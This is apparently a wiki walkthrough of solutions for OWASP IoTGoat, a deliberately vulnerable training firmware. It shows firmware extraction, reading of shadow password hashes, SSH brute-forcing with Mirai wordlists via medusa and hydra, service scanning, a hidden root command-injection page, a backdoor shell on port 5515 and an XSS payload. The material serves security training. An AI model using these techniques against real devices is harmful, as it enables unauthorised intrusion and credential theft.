-
Notifications
You must be signed in to change notification settings - Fork 132
Challenge solutions
- Hardcoded user credentials compiled into firmware
- Insecure Network Services
- Insecure Ecosystem Interfaces
- Lack of Secure Update Mechanism:
- Use of Insecure or Outdated Components:
- Insufficient Privacy Protection:
- Insecure Data Transfer and Storage:
- Lack of Device Management:
- Insecure Default Settings:
v1.0 release contains two hardcoded users with passwords compiled into firmware images. Use the following steps to identify these sets of credentials.
- Use binwalk to extract IoTGoat's filesystem. Once extracted, a new directory with an underscore (
__IoTGoat-raspberry-pi2.img.extracted
) and firmware name will be created.
$ binwalk -e IoTGoat-raspberry-pi2.img
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
[snip]
- Search
/etc/passwd
and check which users will be greeted with a shell prompt (/bin/ash
)
$ cat _IoTGoat-raspberry-pi2.img.extracted/squashfs-root/etc/passwd*
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
iotgoatuser:x:1000:1000::/root:/bin/ash
- Notice the
root
andiotgoat
user contain logins to anash
shell. Next, search/etc/shadow
files for passwords and note the users along with the hashing algorithm used.
$ cat _IoTGoat-raspberry-pi2.img.extracted/squashfs-root/etc/shadow*
root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::
root:$1$KzoHhzG9$wGyFXbWOcRChy3e.Ep2NY1:18080:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
- We could choose to password crack the hashes offline with
John
orhashcat
which could take a significant amount of time depending on password complexity. Alternatively, we can choose to brute force the password using popular wordlists based off of the Mirai botnet. The wordlist will need to be modified to only include passwords as the default format contains the user and password such asadmin pass
. Use the following to separate the passwords into a new file titledmirai-botnet_passwords.txt
awk '{print $2}' SecLists/Passwords/Malware/mirai-botnet.txt > SecLists/Passwords/Malware/mirai-botnet_passwords.txt
- With the passwords separated, specify the
iotgoatuser
user hardcoded in firmware to be attacked and use an online brute force tool such asHydra
,Medusa
, orNcrack
built into Kali Linux. Examples are provided below.
root@kali:~# medusa -u iotgoatuser -P ~/SecLists/Passwords/Malware/mirai-botnet_passwords.txt -h 172.16.100.213 -M ssh
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: xc3511 (1 of 60 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: vizxv (2 of 60 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: admin (3 of 60 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: admin (4 of 60 complete)
[SNIP]
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: zlxx. (42 of 60 complete)
ACCOUNT CHECK: [ssh] Host: 172.16.100.213 (1 of 1, 0 complete) User: iotgoatuser (1 of 1, 0 complete) Password: 7ujMko0vizxv (43 of 60 complete)
ACCOUNT FOUND: [ssh] Host: 172.16.100.213 User: iotgoatuser Password: 7ujMko0vizxv [SUCCESS]
root@kali:~# hydra -l iotgoatuser -P ~/SecLists/Passwords/Malware/mirai-botnet_passwords.txt ssh://172.16.100.213 -t 2
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-24 19:02:00
[DATA] max 2 tasks per 1 server, overall 2 tasks, 60 login tries (l:1/p:60), ~30 tries per task
[DATA] attacking ssh://172.16.100.213:22/
[22][ssh] host: 172.16.100.213 login: iotgoatuser password: 7ujMko0vizxv
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-24 19:02:11
- The password of
7ujMko0vizxv
is found using both tools. Try logging in with the newly discovered password via SSH.
root@kali:~# ssh [email protected]
he authenticity of host '172.16.100.213 (172.16.100.213)' can't be established.
RSA key fingerprint is SHA256:Z1DRws8usW95010UkEOJwn6A/5Y/XlA7sJC2Bfhx2UU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.100.213' (RSA) to the list of known hosts.
[email protected]'s password:
BusyBox v1.28.4 () built-in shell (ash)
.--,\\\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / \ _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
iotgoatuser@IoTGoat:~$
- SUCCESS! With the current level of access, attempt to escalate privileges to the
root
user.
To find the many vulnerable network services, perform port scans targeting IoTGoat's IP address. Common tools are nmap
and masscan
. Using nmap
, try the following:
-
nmap -p- -sT <IoTGoat_IP>
The-p-
flag scans all 65535 ports and the-sT
flag specifies TCP. A list of open ports should be provided such as the following (non-exhaustive).
Note: Don't forget to scan UDP services!
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
443/tcp open https
5000/tcp open upnp
5515/tcp open unknown
Continue probing each service for versioning information. Use nmap
or any other fingerprint tool of your choice. An example service detection nmap
command is provided below
nmap -p <port #'s> -sV <IoTGoat_IP>
nmap -p5000 -sV 172.16.100.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 23:10 EDT
Nmap scan report for IoTGoat (172.16.100.213)
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
5000/tcp open upnp MiniUPnP 2.1 (UPnP 1.1)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=5/4%Time=5EB0D91A%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,124,"\x20501\x20Not\x20Implemented\r\nContent-Type:\x20text/h
SF:tml\r\nConnection:\x20close\r\nContent-Length:\x20149\r\nServer:\x20Ope
SF:nWRT/18\.06\.2\x20UPnP/1\.1\x20MiniUPnPd/2\.1\r\nExt:\r\n\r\n<HTML><HEA
SF:D><TITLE>501\x20Not\x20Implemented</TITLE></HEAD><BODY><H1>Not\x20Imple
SF:mented</H1>The\x20HTTP\x20Method\x20is\x20not\x20implemented\x20by\x20t
SF:his\x20server\.</BODY></HTML>\r\n")%r(GetRequest,117,"HTTP/1\.0\x20404\
SF:x20Not\x20Found\r\nContent-Type:\x20text/html\r\nConnection:\x20close\r
SF:\nContent-Length:\x20134\r\nServer:\x20OpenWRT/18\.06\.2\x20UPnP/1\.1\x
SF:20MiniUPnPd/2\.1\r\n
[SNIP]
</TITLE></HEAD><BODY><H1>Not\x20Implemented<
SF:/H1>The\x20HTTP\x20Method\x20is\x20not\x20implemented\x20by\x20this\x20
SF:server\.</BODY></HTML>\r\n");
MAC Address: 00:0C:29:00:AC:E7
Analyze the service detection response details and note information such as the service version (MiniUPnP 2.1
), server version (OpenWrt 18.06.2
), as well as the error code details. Proceed with interrogating each listening services with aggressive scripts that aid in vulnerability identification based on service versioning. Try searching for appropriate nmap scripts
in Kali Linux under /usr/share/nmap/scripts
directory. A upnp
example using broadcast-upnp-info
script is shown below.
nmap -sV --script=broadcast-upnp-info 172.16.100.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 23:39 EDT
Pre-scan script results:
| broadcast-upnp-info:
| 239.255.255.250
| Server: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1
| Location: http://192.168.50.143:5000/rootDesc.xml
| Webserver: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1
| Name: OpenWRT router
| Manufacturer: OpenWRT
| Model Descr: OpenWRT router
| Model Name: OpenWRT router
| Model Version: 1
| Name: WANDevice
| Manufacturer: MiniUPnP
| Model Descr: WAN Device
| Model Name: WAN Device
| Model Version: 20190130
| Name: WANConnectionDevice
| Manufacturer: MiniUPnP
| Model Descr: MiniUPnP daemon
| Model Name: MiniUPnPd
|_ Model Version: 20190130
[SNIP]
Nmap scan report for IoTGoat (192.168.50.143)
Host is up (0.00045s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh Dropbear sshd (protocol 2.0)
53/tcp open domain dnsmasq 2.73
80/tcp open http LuCI Lua http config
443/tcp open ssl/http LuCI Lua http config
5000/tcp open upnp MiniUPnP 2.1 (UPnP 1.1)
| fingerprint-strings:
| FourOhFourRequest, GetRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/html
| Connection: close
| Content-Length: 134
| Server: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1
| Ext:
| <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL was not found on this server.</BODY></HTML>
| GenericLines:
| 501 Not Implemented
| Content-Type: text/html
| Connection: close
| Content-Length: 149
| Server: OpenWRT/18.06.2 UPnP/1.1 MiniUPnPd/2.1
| Ext:
| <HTML><HEAD><TITLE>501 Not Implemented</TITLE></HEAD><BODY><H1>Not Implemented</H1>The HTTP Method is not implemented by this server.</BODY></HTML>
| HTTPOptions:
[SNIP]
- Navigate to IoTGoat's web page using the IP address. (e.g. https://172.16.100.213/cgi-bin/luci/)
- Use a web proxy tool such as OWASP ZAP or Burp Suite to analyze HTTP communication. Ensure your browser is configured properly to enable traffic interception from your proxy tool of choice (See this link).
- Attempt to discover content using directory traversal and forced browsing attacks unauthenticated.
- If the secret diagnostics page is not found, login to the web interface using the root password (
iotgoathardcodedpassword
). - With an authenticated session, perform discovery used in step #3. You may notice that you are not finding useful results for a number of reasons. Perhaps scans are overloading IoTGoat with requests which is a differentiator when attacking IoT applications vs web applications. Although, the main reason is due to the page being "hidden" and not linked anywhere within web pages. The benefit of attacking embedded web applications is using its firmware and analyzing its web root to find accessible pages.
- Download the latest IoTGoat firmware release and extract its filesystem using binwalk.
# binwalk -e IoTGoat-raspberry-pi2.img
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
4253711 0x40E80F Copyright string: "copyright does *not* cover user programs that use kernel"
4253946 0x40E8FA Copyright string: "copyrighted by the Free Software"
[SNIP]
14120994 0xD77822 Unix path: /etc/modprobe.d/raspi-blacklist.conf can
14137455 0xD7B86F Unix path: /dev/input/event* device, all decoding is done by the kernel - LIRC is
14156211 0xD801B3 Unix path: /lib/systemd/system/hciuart.service
29360128 0x1C00000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3946402 bytes, 1333 inodes, blocksize: 262144 bytes, created: 2019-01-30 12:21:02
- Find the web root that serves pages for IoTGoat. At first, you may be tempted to look into the
www
folder and find static files for LuCI and and a redirect to/cgi-bin/luci
which is the default CGI gateway for LuCI. Dig a bit further into the web server's config file at/etc/config/uhttpd
and find what/cgi-bin/luci
actually does. You should find the followinglist lua_prefix "/cgi-bin/luci=/usr/lib/lua/luci/sgi/uhttpd.lua"
. Files appear to be served from/usr/lib/lua/luci/
in a model view controller (MVC) structure. For this exercise, we are most interested in pages we can "view" but contents in thecontroller
directory are important to review. Theview
directory should contain the following:
# ls _IoTGoat-raspberry-pi2.img.extracted/squashfs-root/usr/lib/lua/luci/view/
admin_network admin_system cbi error404.htm firewall header.htm iotgoat themes
admin_status admin_uci csrftoken.htm error500.htm footer.htm indexer.htm sysauth.htm upnp_status.htm
- Analyze each page in the
view
directory. Perhaps theiotgoat
folder is a good choice to start with.
# ls usr/lib/lua/luci/view/iotgoat/
camera.htm cmd.htm door.htm
- We can see
camera.htm
cmd.htm
anddoor.htm
. Try directly accessing these pages in the web UI of IoTGoat such ashttps://<IoTGoat_IP>/cgi-bin/luci/iotgoat/cmd.htm
orhttps://<IoTGoat_IP>/cgi-bin/luci/admin/iotgoat/cmd.htm
. Both return a404 Not Found
and is not what we want. - We mentioned the
controller
directory is important. Let's have a look at theiotgoat.lua
controller inusr/lib/lua/luci/controller/iotgoat/iotgoat.lua
. We notice an index that calls files from theview
directory under theadmin
page and names for each page such ascmdinject
.
function index()
entry({"admin", "iotgoat"}, firstchild(), "IoTGoat", 60).dependent=false
entry({"admin", "iotgoat", "cmdinject"}, template("iotgoat/cmd"), "", 1)
entry({"admin", "iotgoat", "cam"}, template("iotgoat/camera"), "Camera", 2)
entry({"admin", "iotgoat", "door"}, template("iotgoat/door"), "Doorlock", 3)
entry({"admin", "iotgoat", "webcmd"}, call("webcmd"))
end
- This looks like a red flag based off of its name. Try and access the
cmdinject
page directly usinghttps://<IoTGoat_IP>/cgi-bin/luci/admin/iotgoat/cmdinject
.
Note: Authentication to the web UI is required.
We can see we are greeted with a nice "Secret Developer Diagnostics Page" that runs commands as root. Using this page, try gaining a shell on the device.
- Based on the TCP port scan results from initial probing (listed below), we can tell a number of services are listening for connections.
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
443/tcp open https
5515/tcp open unknown
- Many listening ports are using commonly used services although, there is a service that is listed as "unknown". Try and connect to this port and analyze the response. The following command uses
netcat
to connect to port5515
and displays the response output.
$ nc -nv <IoTGoat_IP> 5515
Connection to 172.16.100.213 port 5515 [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
- Try issuing commands and attempt to gain a full interactive shell.
- Login to IoTGoat's web UI
- Navigate to the
Network
menu and selectFirewall
- Select the
Traffic Rules
tab
The URL endpoint should be
https://<IoTGoat_IP>/cgi-bin/luci/admin/network/firewall/rules
.
- Create a
New forward rule
with theName
parameter as arbitrary an JavaScript XSS payload. Try a basic payload first such as<script>alert("My first XSS");</script>
. You should be greeted with a nice alert message as shown in the following image.
A vanilla XSS works nicely due to lack of sanitization and output encoding. Subsequent XSS vulnerabilities follow the same pattern in the port forwarding and wireless SSID pages. Try more advanced XSS payloads that can do more damage. Hook a victims browser with the Browser Exploitation Framework (BeEF).
https://<IoTGoat_IP>/cgi-bin/luci/admin/network/firewall/forwards
https://<IoTGoat_IP>/cgi-bin/luci/admin/network/wireless
Challenge guidance and exercise walkthroughs will be posted when available. We welcome all contributions from volunteers.